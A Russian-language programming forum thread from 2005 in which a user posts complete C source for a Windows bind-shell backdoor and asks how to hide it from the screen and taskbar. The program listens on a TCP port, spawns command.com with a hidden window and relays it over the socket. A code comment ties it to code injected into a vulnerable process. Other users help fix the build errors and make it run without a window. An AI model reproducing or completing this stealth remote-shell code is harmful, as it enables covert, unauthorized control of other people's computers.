PDA

Просмотр полной версии : Сокеты, консольные окна .... ?



Coder.ua
17.10.2005, 17:51
В общем я пишу программу которая будет давать мне возмоность

подсоединяться к удаленному компьютеру.
То есть. Я устанавливаю эту программу на своем компе. Она слушает порт

1234. Далее я подключаюсь к это му порту с удаленной машины командой

типа "netcat <IP-адрес_компа> <порт>". И после этого программа

запускает командный интерпретатор, и я могу работать с удаленной

машиной.
Я программу создаю типа Win32 Console App. При запуске программы на

экране появляется окно сеанса MS-DOS. Как можно сделать, чтобы

программы не было видно. То есть чтобы не было на панели задач и на

экране тоже, но возможно присутствие в диспетчере задач.

Программу пишу под Windows 98.

А пробовал создавать Win32 App, и переделывать под него, так он мне

столько ошибок выдает
Вот исходники программы ConsoleApp!
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h"

#define MY_PORT 1234
#define MAX_BUF_SIZE 1024

DWORD WINAPI SexToClient(void *csocket);

int main()
{
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE];
int caddr_size = sizeof(caddr);



if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;


lsocket = socket(AF_INET, SOCK_STREAM, 0);


laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr)))

return -1;


if (listen(lsocket, 0x100)) return -1;

// Ну это я забираю
//printf("wait for connection...\n");


while((csocket=accept(lsocket, (struct sockaddr *) &caddr,

&caddr_size)))
{

hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4,

AF_INET);
sprintf(buff, "+%s [%s] new

connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);


CreateThread(0, 0, SexToClient, (void *) &csocket, 0,

&thID);
}

closesocket(lsocket);
WSACleanup();
return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}



################################################## ###########3



------------------------------------------------------
spawn.pipe.h
------------------------------------------------------
#ifndef __SPAWN_PIPE_H__
#define __SPAWN_PIPE_H__

#define HELO "hello\n" // подтверждение связи
#define SHELL "command.com" // Командный

интерпретатор // командный

интерпретатор
#ifndef MAX_BUF_SIZE
#define MAX_BUF_SIZE 1024
#endif

int sshell(SOCKET csocket, int n)
{
char *buf; // +
//int c;
unsigned int a;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa; // +
PROCESS_INFORMATION pi;

HANDLE cstdin, cstdout, rstdout, wstdin; //pipe handles

unsigned long fexit; //process exit code
unsigned long N; //bytes read
unsigned long total; //bytes available


buf = malloc(n);

// возвращаем удаленной машине приветствие,
// подтверждая тем самым, что удаленный код успешно внедрен
// в уязвимый процесс и готов работать
send(csocket, HELO, sizeof(HELO), 0);


sa.lpSecurityDescriptor = NULL;
sa.nLength =

sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE; //allow

inheritable handles

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;

//create stdin pipe
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;

//create stdout pipe

GetStartupInfo(&si); //set startupinfo for the spawned

process

si.dwFlags = STARTF_USESTDHANDLES |

STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = cstdout;
si.hStdError = cstdout; //set the new handles for the

child process
si.hStdInput = cstdin;

//spawn the child process
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,

0, &si, &pi)) return -1;

while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit ==

STILL_ACTIVE))
{

//check to see if there is any data to read from stdout
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for (a = 0; a < total; a += MAX_BUF_SIZE)
{
ReadFile(rstdout, buf, MAX_BUF_SIZE,

&N, 0);
send(csocket, buf, N, 0);
}
}

if (!ioctlsocket(csocket, FIONREAD , &N) && N)
{
recv(csocket, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\x0D",

1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
Sleep(1);
}

CloseHandle(cstdin); //clean stuff up
CloseHandle(wstdin);
CloseHandle(cstdout);
CloseHandle(rstdout);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}

#endif //__SPAWN_PIPE_H__



################################################## ################
Приведу также пример Win32Api APP

-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include "spawn.pipe.h"

#define MY_PORT 666 // Port
#define MAX_BUF_SIZE 1024 // Buffer

DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // ЎгддҐа
int caddr_size = sizeof(caddr);

DWORD WINAPI SexToClient(void *csocket);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static char szAppName[] = "bind" ;
HWND hwnd ;
MSG msg ;
WNDCLASSEX wndclass ;

wndclass.cbSize = sizeof (wndclass) ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = NULL ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.hIconSm = NULL ;

RegisterClassEx (&wndclass);

hwnd = CreateWindow (szAppName, // window class name
"bind",

// window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL) ; //

creation parameters

ShowWindow (hwnd, SW_HIDE) ;
UpdateWindow (hwnd) ;

while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM

lParam)
{
/*
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect ;
*/

switch (iMsg)
{
case WM_CREATE :
//MessageBox (NULL,"CREATED!!!", "SUCCESS",

MB_OK);

if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;

//
lsocket = socket(AF_INET, SOCK_STREAM, 0);

//
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr)))

return -1;

//
if (listen(lsocket, 0x100)) return -1;
//printf("wait for connection...\n");

//
while((csocket=accept(lsocket, (struct sockaddr *) &caddr,

&caddr_size)))
{
//
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4,

AF_INET);
//sprintf(buff, "+%s [%s] new

connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
//send(csocket, buff, strlen(buff), 0);

//

CreateThread(0, 0, SexToClient, (void *) &csocket, 0,

&thID);

return 0 ;


case WM_DESTROY :
closesocket(lsocket);
WSACleanup();

PostQuitMessage (0) ;
return 0 ;
}

return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}

spawn.pipe.h - такой же как и для предыдущего.

################################################## ##################
Errors!!!
c:\program files\microsoft visual studio\vc98\include\winsock2.h(99) :

error C2011: 'fd_set' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(134) :

warning C4005: 'FD_SET' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(83) : see previous definition of 'FD_SET'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(143) :

error C2011: 'timeval' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(199) :

error C2011: 'hostent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(212) :

error C2011: 'netent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(219) :

error C2011: 'servent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(226) :

error C2011: 'protoent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(310) :

error C2011: 'in_addr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(368) :

error C2011: 'sockaddr_in' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(378) :

error C2011: 'WSAData' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(430) :

warning C4005: 'SO_DONTLINGER' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(391) : see previous definition of

'SO_DONTLINGER'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(483) :

warning C4005: 'AF_IPX' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(449) : see previous definition of

'AF_IPX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(506) :

warning C4005: 'AF_MAX' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(468) : see previous definition of

'AF_MAX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(512) :

error C2011: 'sockaddr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(521) :

error C2011: 'sockproto' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(560) :

error C2011: 'linger' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(573) :

warning C4005: 'SOMAXCONN' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(533) : see previous definition of

'SOMAXCONN'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(598) :

warning C4005: 'FD_READ' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(551) : see previous definition of

'FD_READ'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(601) :

warning C4005: 'FD_WRITE' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(552) : see previous definition of

'FD_WRITE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(604) :

warning C4005: 'FD_OOB' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(553) : see previous definition of

'FD_OOB'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(607) :

warning C4005: 'FD_ACCEPT' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(554) : see previous definition of

'FD_ACCEPT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(610) :

warning C4005: 'FD_CONNECT' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(555) : see previous definition of

'FD_CONNECT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(613) :

warning C4005: 'FD_CLOSE' : macro redefinition
c:\program files\microsoft visual

studio\vc98\include\winsock.h(556) : see previous definition of

'FD_CLOSE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1427)

: error C2375: 'accept' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(707) : see declaration of 'accept'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1448)

: error C2375: 'bind' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(710) : see declaration of 'bind'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1467)

: error C2375: 'closesocket' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(712) : see declaration of 'closesocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1486)

: error C2375: 'connect' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(714) : see declaration of 'connect'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1507)

: error C2375: 'ioctlsocket' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(716) : see declaration of 'ioctlsocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1528)

: error C2375: 'getpeername' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(718) : see declaration of 'getpeername'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1549)

: error C2375: 'getsockname' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(721) : see declaration of 'getsockname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1572)

: error C2375: 'getsockopt' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(724) : see declaration of 'getsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1593)

: error C2375: 'htonl' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(727) : see declaration of 'htonl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1610)

: error C2375: 'htons' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(729) : see declaration of 'htons'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1627)

: error C2375: 'inet_addr' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(731) : see declaration of 'inet_addr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1644)

: error C2375: 'inet_ntoa' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(733) : see declaration of 'inet_ntoa'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1662)

: error C2375: 'listen' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(735) : see declaration of 'listen'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1680)

: error C2375: 'ntohl' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(737) : see declaration of 'ntohl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1697)

: error C2375: 'ntohs' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(739) : see declaration of 'ntohs'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1717)

: error C2375: 'recv' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(741) : see declaration of 'recv'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1742)

: error C2375: 'recvfrom' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(743) : see declaration of 'recvfrom'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1768)

: error C2375: 'select' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(746) : see declaration of 'select'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1792)

: error C2375: 'send' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(749) : see declaration of 'send'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1817)

: error C2375: 'sendto' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(751) : see declaration of 'sendto'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1843)

: error C2375: 'setsockopt' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(754) : see declaration of 'setsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1865)

: error C2375: 'shutdown' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(757) : see declaration of 'shutdown'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1885)

: error C2375: 'socket' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(759) : see declaration of 'socket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1908)

: error C2375: 'gethostbyaddr' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(763) : see declaration of 'gethostbyaddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1927)

: error C2375: 'gethostbyname' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(766) : see declaration of 'gethostbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1945)

: error C2375: 'gethostname' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(768) : see declaration of 'gethostname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1964)

: error C2375: 'getservbyport' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(770) : see declaration of 'getservbyport'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1983)

: error C2375: 'getservbyname' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(772) : see declaration of 'getservbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2001)

: error C2375: 'getprotobynumber' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(775) : see declaration of

'getprotobynumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2018)

: error C2375: 'getprotobyname' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(777) : see declaration of

'getprotobyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2038)

: error C2375: 'WSAStartup' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(781) : see declaration of 'WSAStartup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2056)

: error C2375: 'WSACleanup' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(783) : see declaration of 'WSACleanup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2073)

: error C2375: 'WSASetLastError' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(785) : see declaration of

'WSASetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2090)

: error C2375: 'WSAGetLastError' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(787) : see declaration of

'WSAGetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2107)

: error C2375: 'WSAIsBlocking' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(789) : see declaration of 'WSAIsBlocking'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2124)

: error C2375: 'WSAUnhookBlockingHook' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(791) : see declaration of

'WSAUnhookBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2141)

: error C2375: 'WSASetBlockingHook' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(793) : see declaration of

'WSASetBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2158)

: error C2375: 'WSACancelBlockingCall' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(795) : see declaration of

'WSACancelBlockingCall'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2180)

: error C2375: 'WSAAsyncGetServByName' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(797) : see declaration of

'WSAAsyncGetServByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2207)

: error C2375: 'WSAAsyncGetServByPort' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(802) : see declaration of

'WSAAsyncGetServByPort'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2233)

: error C2375: 'WSAAsyncGetProtoByName' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(806) : see declaration of

'WSAAsyncGetProtoByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2258)

: error C2375: 'WSAAsyncGetProtoByNumber' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(810) : see declaration of

'WSAAsyncGetProtoByNumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2283)

: error C2375: 'WSAAsyncGetHostByName' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(814) : see declaration of

'WSAAsyncGetHostByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2310)

: error C2375: 'WSAAsyncGetHostByAddr' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(818) : see declaration of

'WSAAsyncGetHostByAddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2333)

: error C2375: 'WSACancelAsyncRequest' : redefinition; different

linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(822) : see declaration of

'WSACancelAsyncRequest'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2353)

: error C2375: 'WSAAsyncSelect' : redefinition; different linkage
c:\program files\microsoft visual

studio\vc98\include\winsock.h(824) : see declaration of

'WSAAsyncSelect'
d:\distr\mobile\work\source\chap02\bind\hellowin.c (140) : fatal error

C1004: unexpected end of file found
Error executing cl.exe.

HELLOWIN.OBJ - 59 error(s), 11 warning(s)

Kolinus
17.10.2005, 19:56
а либы все подключены ?

AiK
17.10.2005, 20:07
Блин. Неужели такую простыню кто-то читать может? Топикстартер - локализуй ошибки и отредактируй исходное сообщение.

Coder.ua
19.10.2005, 13:53
Либы все подключены!

Kolinus
19.10.2005, 16:11
У тебя написано - переопределение разоичная линковка,
начит ты что-то с ашниками напортачил или либами
Ws2_32.lib подключена ?

Coder.ua
19.10.2005, 18:03
Да, Ws2_32.lib подключена!

Eugie
19.10.2005, 19:44
Coder.ua,

1) Пользуйся тегами [code] для оформления кода.
2) Судя по сообщению "C1004: unexpected end of file found", у тебя проблема с синтаксисом - например, скобку где-то потерял и т.п.
3) Для твоих целей в Win-приложении не нужно создавать никаких окон и циклов сообщений - просто перенеси содержимое main() из консольной версии в тело WinMain().

Удачи

Coder.ua
19.10.2005, 20:10
пробовал! Тогда программа не работает как следует! Запускается! Когда к ней конектишся, то она выдает приветствие, но не передает управление командному интрерпретатору.

Dee_Mon
29.09.2006, 15:37
У тебя есть MSDN 2005? Там по адресу

ms-help://MS.MSDNQTR.v80.en/MS.MSDN.v80/MS.WIN32COM.v10.en/winsock/winsock/finished_server_and_client_code.htm

лежат готовые примеры клиента и сервера (консольные) с использованием WinSock2.

Вообще там много информации и готовых решений. Может и по твоему вопросу что-нибудь найдется.

И ещё: Ты используешь WinSock2 под Win98. В win98, помоему, только WinSock1 поддерживается.

Dee_Mon
29.09.2006, 17:30
http://www.codeproject.com/internet/NetworkAdmin.asp - исходники программы Network Administrator на C++

Absurd
29.09.2006, 18:18
В win98, помоему, только WinSock1 поддерживается.
Нет, он там поддерживался вроде, а для 95 & 92 OSR 2 aka 97 он поставлялся отдельно.
Я помню точно , что Baldur's Gate который хотел второй винсок я на 97 запускал.

SokolovS
08.11.2006, 17:18
Я программу создаю типа Win32 Console App. При запуске программы на экране появляется окно сеанса MS-DOS. Как можно сделать, чтобы
программы не было видно.


Может, просто перенаправить стандартный вывод для нее на пустое устройство, или в файл?